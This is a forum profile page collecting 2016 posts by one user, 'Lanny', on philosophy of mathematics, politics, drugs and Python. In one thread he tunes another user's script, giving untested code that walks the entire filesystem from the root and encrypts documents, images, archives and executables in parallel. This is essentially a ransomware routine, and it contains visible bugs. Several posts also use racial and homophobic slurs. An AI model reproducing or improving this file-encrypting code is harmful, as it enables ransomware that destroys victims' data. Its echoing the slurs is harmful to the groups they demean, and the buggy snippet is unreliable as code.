

User Controls
Posts by Lanny
-
2016-04-20 at 2:39 PM UTC in Niggas in space vs niggers in space.
Was Lanny influenced by the current liberal PC culture when deciding on a name?
Nah blood, I was influenced by the wire and a lot of alcohol. -
2016-04-20 at 2:37 PM UTC in What I've learned about the human brain todayLife: The RPG where the more you play the shittier you get at it
-
2016-04-20 at 7:28 AM UTC in I want to let you guys know that my 420 sucks... ... ... ...Gotta be sober most the day but ima bring a vape to work so I can take a hit in the bathroom at 4:20. Stupid idea that I stand to gain from in no tangible way? Yes. Something I'm bored enough to do? Also yes.
-
2016-04-20 at 6:47 AM UTC in Note to self: stop doing drugs.Haven't ever had a steady line on MDMA but the couple of times I've done it the next-day slump was pretty bad, I could see why you might want to back off but despite enjoying other serotonergic drugs it's not something I could ever see myself dependent on.
-
2016-04-20 at 6:19 AM UTC in Mathematics
Well my statement is true for a majority of things. Given that we are a species of creators we certianly have words for things of human creation. But where it gets dicey is could these concepts or things be created independently of human existence? I'd have to wager a yes. In a universe as vast and chaotic as ours it is quite feasible to imagine a non human civilization creating things such as telephones or canoes or even HTML markup. Sure they may not be our design but so long as the functional result is the same are they not necessarily the same in function which translates them into the same category of thing?
It's not a question of human independence but rather mind independence. Sure other species might come to hold a concept that seems similar to our notions of mathematical objects (although it's interesting to ask what we could count as evidence of mathematical objects existing in the minds of other species) BUT that doesn't really address the question. If no other species has a mathematics, if the universe is devoid of life, do mathematical objects still exist?
And to address OP's question more directly, why does independent formation imply discovery over creation? Multiple people seem to have invented fixed wing flight independently, but that doesn't mean it's a discovered thing, planes were still invented, their design just might have been prompted by shared physical realities. -
2016-04-20 at 4:20 AM UTC in Why has nobody done this by now...Actor, buddy, sometimes you make really dumb threads but I have to give it to you, you always consistently come up with 10/10 thread titles
-
2016-04-20 at 4:18 AM UTC in java.text.SimpleDateFormat Injection Possible?
The point is this: I'm wise and adept in all fields of study, and don't you forget it, son.
And other things people who know absolutely anything about anything would never ever say! -
2016-04-20 at 4:16 AM UTC in Multi threading in python. And a question about code injection.Per the usual: shut up spectroll you dumb nigger.
​I'm not a Python programmer, but isn't Python ran inside of a sandbox enviornment like Java? If so, I think it's going to run a bit slow either way. You may want to convert everthing to C/C++ if it's not to late. If it's not ran in a sandbox enviornment, disregard.
Python is generally considered interpreted although interestingly it does run on a virtual machine of sorts, although it's very different from the JVM. It is true Python is in reasonable benchmarks slower than lower level languages, although PyCrypto is implemented in C. Much of Python's standard lib and perf intensive third party libraries are implemented in C and exposed to python through a thin layer on top of in-process interop.The scripts are ran with the help of an interpreter but you can compile it binary with pyinstaller so i don't see how that makes python 'run in a sandbox environment'.
Pyinstaller isn't really compilation in the classical sense. Most of what pyinstaller is is bundling a portable python interpreter with your program's source code, you shouldn't see any performance improvement as a process of build with pyinstaller verses running on an interpreter. I'm not sure if it's fair to call either the python VM or the JVM a "sandbox environment" since they can both make system calls and interact with the OS in the same ways a compiled binary can (although the JVM does have some provisioning for true sandboxing as in a browser environment, but no one really uses it anymore because it was a shitshow of exploits and just generally a poorly considered system) but it's true you're largely abstracted away from many architecture and OS details in such environments.
AAAAnnnnyyyyway, this is exactly the kind of place where threading makes sense. There is an unfortunate detail of CPython (the python implementation I'm sure you're using, interestingly there are other implementations of the language but you don't need to worry about that) called the global interpreter lock or GIL that makes threading in python a somewhat different proposition than in other languages. You can read about the details, it's pretty interesting, but the gist of it is that for CPU bound tasks (like crypto, but in contrast to IO bound tasks like requesting resources over the network or reading from disk (crypto in this case will use your disk but likely it will bottleneck at the CPU)) are not a good candidate for multithreading.
Fortunately you can use a better core library called multiprocessing, semantically, from your perspective, it's the same thing as threads, the difference is largely an implementation detail. The basic strategy is to build up a list of files you want to encrypt using os.walk (presumably fast enough that you can do it in the main thread without things being too slow) and stuff them into a queue (if that's not true you can parallelize the filesystem walk but I don't think it's what'll be slow), and then start up N processes consuming from the queue where N is your number of cores or thereabouts.
So in the context of your program I'd rewrite your selectfiles function something like this (warning, untested code):
from multiprocessing import Pool
def single_arg_encrypt_file(in_filename):
encrypt_file(key, in_filename)
def selectfiles():
files_to_enc = []
for root, dirs, files in os.walk("/"):
for file in files:
if file.endswith(".docx",".pdf",".rar",".jpg",".jpeg",".png",".tiff",".zip",".7z",".exe",".mp3"):
files_to_enc.push(os.path.join(root, file))
pool = Pool(processes=4)
pool.map(single_arg_encrypt_file, files_to_enc)
By the nature of `Pool.map` the function passed as the first arg will always be invoked with a single argument which will be an item from the queue the pool is processing (a queue of filenames in this case) so single_arg_encrypt_file is just a means of ensuring the signature of the function passed to .map is what's expected. -
2016-04-19 at 3 PM UTC in Humans are a disease
More Harm Than Good As soon as the human brain developed reason and critical thinking, we rose to the top of the food chain and invented agriculture. This toppled the equilibrium that the planet had existed in for millions of years. People began living longer and we could support more people for longer. We began to expand and exploit more and more of the earths resources. There are seven BILLION people on earth now. All of them want to be fed. The only way to do that? Take even more from mother nature, use machines that poison the air, ground ,and water to continue our way of life. There may still be hope of turning it around and taking steps to limit our influence and to find balance again, but right now, Gaea is dying.
Aww, someone read their first Daniel Quinn book. How cute. -
2016-04-19 at 7:10 AM UTC in Lmfao, the US is going to be a political fuckfest for the next 5 years minimum.
Our choice is between a jedi socialist, a corrupt to the core woman, a first term Canadian senator and, a successful American entrepreneur and buisness man. America is afraid the buisness man will destroy us, the woman will sell us, the Canadian will turn us into a religious state and the jedi will save us with free stuff and socialism.
I love how insular our opinions have become that you think that's a knock down argument against a candidate and I see it as a pair of complements yet we're supposedly talking about the same person.If Hillary wins it'll fuck up my misogynistic fantasies and empower women. I'm voting Trump, because everyone can go fuck themselves. If politicals were actually rleal I would vote for Bernie Sanders.
-
2016-04-19 at 4:42 AM UTC in My new favorite video.
The woman seems worse.
She really does. Anyone who says modern media is over sexualized/violent has never come to appreciate the darkness embodied by the video. -
2016-04-19 at 2:44 AM UTC in Humans are a disease
not necessarily; plants are susceptible to parasitic conditions, bacteria, insects etc. and they have no desire or directive beyond just living.
Isn't a "directive to live" enough though? Plants to appear to have an interest in their continued survival, we see them employ an impressive range of strategies to preserve themselves (even if they do so in the absence of any real desire or consciousness) and things are only parasitic to them insofar as they hinder a plant's survival/functioning. I used the term interest as something intentionally broader than conscious desires or psychological imperatives specifically to include lower organisms that we consider to be capable of being subject to parasites.many people see the world as a single living 'collective' and I'd hazard to say humans are generally not a positive force on it.
Sure, and I'm even sympathetic to ideas of meta-organisms or super-organismal agency/interests (although I'd argue we'd be hard pressed to consider such things as being alive) but to consider humans a parasite on any such thing we'd have to be able to conceive of that thing (the "connected world" or whatever) as being definitionally separate from humans (e.x. our immune system might harm us but so long as it's part of us it can't really be considered a parasite). -
2016-04-19 at 1:36 AM UTC in What are you reading?
I thought you didn't like Descartes?
I know you're supposed to be dead and all but w/e, I don't really like Descartes. The meditations are a foundational text though and they lay the groundwork for phenomenology which I think is a fruitful field of philosophy.
I've got about 20 pages left in The Myth of Sisyphus. Next up on my hitlist is Leary's The Psychedelic Experience and I'm about due to take my annual swing at GEB. -
2016-04-19 at 1:31 AM UTC in Straight OG threadreppin dat nigger faggot life
-
2016-04-19 at 1:25 AM UTC in Why do they have to keep coming up with more and more kinds of weed/beer?I hate how every time I go to the dispensary everything has changed so I buy like three strains and end up really liking one of them and the next time I go back it's gone and I'll never get to see it again. There was some shit called purple platinum and man, good stuff, just the right amount of mix of trippy and relaxing. But it was just there once to tease me and now apparently no one stocks it anymore.
-
2016-04-19 at 1:16 AM UTC in Humans are a disease
Positive and negative connotations are subjective. Humans being metaphorically similar to something like mold or a parasite is not inherently negative, or positive. Just like a fallen rotting apple. Is it a bad thing the apple has mold growing all over it? No, that's just how the world works. Would it be better if the apple just stayed in pristine condition for ever? Maybe for some other animal, but only so they might find it and eat it. The apple is food, be it food for mold or birds or humans. It's the way of things and you can look at the way of things and see it as a good thing or a bad thing but that's subjective, the way of things is what it is and nothing more. If there are metaphorical similarities between humans and something like mold or whatever then whether or not that is a good or bad thing is subjective and ultimately irrelevant either way.
Well that's kinda my point. Parasitism or disease implies that a host has interests and they are being violated by the parasite/disease somehow. We wouldn't call moss on a rock parasitic because rocks don't have interests. To call humans a disease is to imply there's something upon which we are a disease and I can find no suitable thing possessing the necessary structure to have interests to be undermined by us in a disease-like way. -
2016-04-19 at 1:11 AM UTC in MathematicsIn general I lean nominalist and while that doesn't totally commit one to believing mathematics is invented rather than discovered it lends itself to that conclusion and it is my general inclination. I watched a walk by Philip Wadler and he made this argument about how three or four mathematicians seemed to independently discover the decidability problem and that that was an argument for a discovery model of mathematics. Wadler is a really smart guy but I thought that was kind of a disingenuous move, it fails to acknowledge the distinction between axioms and theorems, the decidability problem is the product of systems in which it emerges, yes we may "discover" new properties of a formal system as in this case but that discovery is predicated on the invention of the system to start with. I'll claim that nothing which is discovered can be fully reduced to invented parts (I recently discovered my phone has a "do not disturb" feature, that's not an argument that my phone or that feature are discovered properties of the universe rather than something invented).
One might naturally make some argument from isomorphisms between our mathematics and the world as being evidence that mathematical systems are founded in natural, discovered elements of the world. But this fails too, to model the world post-hoc is not to be discovered. Consider natural languages model the world yet no one would claim that English was "discovered". Likewise the relationship of mathematics to the world is an intentional product of its genesis, it contains similar structures not because it is similar to the world but because it exists to model it. -
2016-04-18 at 4 PM UTC in The official sandwich of trianglism
-
2016-04-18 at 7:28 AM UTC in Humans are a diseaseI admit there's an aesthetic in that which really appeals to me, the idea of a shared genealogy with "lower" organisms, a refusal of human exceptionalism and a sense of debt to our total ancestry, not just the human (and interesting human) subset
Still, to call a thing a parasite one needs to have a normative judgment of what is good for the greater organism (presumably the planet in this case?) and I reject the idea that all human forms of existence and expression are net-negative from some privileged perspective. Worth is imbued by consciousness, value is dependent on the subjective desire therefor, it's conceivable (although I think unlikely) that the net effect of humanity on the greater system is negative but a categorial proclamation that anything capable of consciousness (life) is parasitic is to misunderstand fundamental ideas of value and worth, a nihilism stemming not from a unflinching look at the human state but a nostalgic whim, a grasp at profundity where simpler human truths suffice. -
2016-04-18 at 7:17 AM UTC in why i was wrong about atheism"the lefties.. regardless of consequences, regardless of ethics"
Stopped watching here when it became clear this guy knows what exactly none of "ethics", "consequences", or even "left" means.